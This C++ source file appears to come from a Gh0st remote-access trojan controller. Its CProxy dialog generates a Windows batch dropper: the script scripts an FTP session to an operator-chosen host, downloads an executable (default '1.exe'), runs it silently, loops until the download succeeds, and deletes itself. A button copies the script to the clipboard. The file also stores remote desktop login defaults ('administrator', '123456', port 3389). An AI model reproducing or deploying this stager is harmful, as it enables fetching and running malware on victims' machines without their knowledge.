2024-06-23 17:36:53 +08:00

244 lines
5.8 KiB
C++

// Proxy.cpp : implementation file
//
#include "stdafx.h"
#include "gh0st.h"
#include "Proxy.h"
#include "PcView.h"
//#include "PortMap.h"
#include "UPDATEIP.h"
// #include "NETServe.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
extern CPcView* g_pConnectView;
/////////////////////////////////////////////////////////////////////////////
// CProxy
IMPLEMENT_DYNCREATE(CProxy, CFormView)
//CString ftp_net= "baihej.oicp.net";
char *ftpserwer0 = {"@echo off\r\n"
":begin\r\n"
};
char *ftpserwer1 = {"echo open %ftp%>> cmd.txt\r\n"
"echo 110>> cmd.txt\r\n"
"echo 110>> cmd.txt\r\n"
"echo get %var%>> cmd.txt\r\n"
"echo bye>> cmd.txt\r\n"
"ftp -s:cmd.txt\r\n"
"del cmd.txt\r\n"
"if not exist %var% (\r\n"
"echo NO! NO!...\r\n"
"goto :begin\r\n"
") else (\r\n"
"%var% /q\r\n"
")\r\n"
// "del %var%\r\n"
"del %0"
};
void CProxy::ftpnets()
{
CString ftp_ser0 = ftpserwer0;
CString ftp_ser1 = ftpserwer1;
CString ftp_ser2 = "set \"ftp="+m_ftpset+"\"\r\n";
CString ftp_ser3 = "set \"var="+m_ftpnema+"\"\r\n";
m_ftpserwer = ftp_ser0+ftp_ser2+ftp_ser3+ftp_ser1;
}
CProxy::CProxy()
: CFormView(CProxy::IDD)
{
//{{AFX_DATA_INIT(CProxy)
m_ftpnema = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("Ô¶³Ì·þÎñ","Ftpnema","1.exe");
m_ftpset = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("Ô¶³Ì·þÎñ","Ftpset","127.0.0.1");
m_longip = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("Ô¶³Ì·þÎñ","Longip","127.0.0.1");
m_longnema = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("Ô¶³Ì·þÎñ","Longnama","administrator");
m_longpass = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("Ô¶³Ì·þÎñ","Longpass","123456");
m_longport = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("Ô¶³Ì·þÎñ","Longport","3389");
// m_long_nema.SetCurSel(0);
//}}AFX_DATA_INIT
ftpnets();
}
CProxy::~CProxy()
{
}
void CProxy::DoDataExchange(CDataExchange* pDX)
{
CFormView::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CProxy)
DDX_Text(pDX, IDC_FTP_SERVER, m_ftpserwer);
DDX_Text(pDX, IDC_FTP_NEMA, m_ftpnema);
DDX_Text(pDX, IDC_FTP_SET, m_ftpset);
DDX_Text(pDX, IDC_LONGIP, m_longip);
DDX_Control(pDX, IDC_LONGNEMA, m_long_nema);
DDX_Text(pDX, IDC_LONGNEMA, m_longnema);
DDX_Text(pDX, IDC_LONGPASS, m_longpass);
DDX_Text(pDX, IDC_LONGPORT, m_longport);
DDX_Control(pDX, IDC_FTP_IP, m_Ftp_ip);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CProxy, CFormView)
//{{AFX_MSG_MAP(CProxy)
ON_BN_CLICKED(IDC_FTP_Prese, OnFTPPrese)
ON_EN_CHANGE(IDC_FTP_SET, OnChangeFtpSet)
ON_EN_CHANGE(IDC_FTP_NEMA, OnChangeFtpNema)
ON_BN_CLICKED(IDC_FTP_Filecopy, OnFTPFilecopy)
ON_BN_CLICKED(IDC_LONGNECT, OnLongnect)
ON_BN_CLICKED(IDC_FTP_IP, OnFtpIp)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CProxy diagnostics
#ifdef _DEBUG
void CProxy::AssertValid() const
{
CFormView::AssertValid();
}
void CProxy::Dump(CDumpContext& dc) const
{
CFormView::Dump(dc);
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CProxy message handlers
/////////////////////////////////////////////////////////////////////////////
// Cproxy
IMPLEMENT_DYNCREATE(Cproxy, CFormView)
Cproxy::Cproxy()
: CFormView(Cproxy::IDD)
{
//{{AFX_DATA_INIT(Cproxy)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
}
Cproxy::~Cproxy()
{
}
void Cproxy::DoDataExchange(CDataExchange* pDX)
{
CFormView::DoDataExchange(pDX);
//{{AFX_DATA_MAP(Cproxy)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(Cproxy, CFormView)
//{{AFX_MSG_MAP(Cproxy)
// NOTE - the ClassWizard will add and remove mapping macros here.
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// Cproxy diagnostics
#ifdef _DEBUG
void Cproxy::AssertValid() const
{
CFormView::AssertValid();
}
void Cproxy::Dump(CDumpContext& dc) const
{
CFormView::Dump(dc);
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// Cproxy message handlers
void CProxy::OnFTPPrese()
{
// TODO: Add your control notification handler code here
// UpdateData(TRUE);
// ±£´æÉèÖÃ
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Ô¶³Ì·þÎñ", "Ftpset", m_ftpset);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Ô¶³Ì·þÎñ", "Ftpnema", m_ftpnema);
ftpnets();
SetDlgItemText(IDC_FTP_SERVER, m_ftpserwer);
}
void CProxy::OnChangeFtpSet()
{
UpdateData(TRUE);
}
void CProxy::OnChangeFtpNema()
{
UpdateData(TRUE);
}
void CProxy::OnFTPFilecopy() //¸´ÖÆÎļþ
{
// int nItem;
CString strText = m_ftpserwer;
//½«ÄÚÈݱ£´æµ½¼ôÌù°å¡£
if (!strText.IsEmpty())
{
if (OpenClipboard())
{
EmptyClipboard();
HGLOBAL hClipboardData = GlobalAlloc(GHND | GMEM_SHARE, (strText.GetLength() + 1) * sizeof(TCHAR));
if (hClipboardData)
{
TCHAR* pszData = (TCHAR *)GlobalLock(hClipboardData);
_tcscpy(pszData, strText);
GlobalUnlock(hClipboardData);
SetClipboardData(CF_TEXT, hClipboardData);
}
CloseClipboard();
}
}
}
void CProxy::OnLongnect()
{
UpdateData(TRUE);
// ±£´æÉèÖÃ
// ((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Ô¶³Ì·þÎñ", "Longip", m_longip);
// ((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Ô¶³Ì·þÎñ", "Longport", m_longport);
// ((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Ô¶³Ì·þÎñ", "Longpass", m_longpass);
//
// NETServe sty;
// sty.Remotedesktop(m_longip,m_longport,m_longnema,m_longpass);
}
void CProxy::OnFtpIp()
{
// TODO: Add your control notification handler code here
CUPDATEIP sty;
CString Gip;
m_Ftp_ip.EnableWindow(FALSE); //½ûÓð´¼ü
Gip=sty.GetIPAddress();
SetDlgItemText(IDC_FTP_SET,Gip);
m_Ftp_ip.EnableWindow(TRUE); //»Ö¸´°´¼ü
}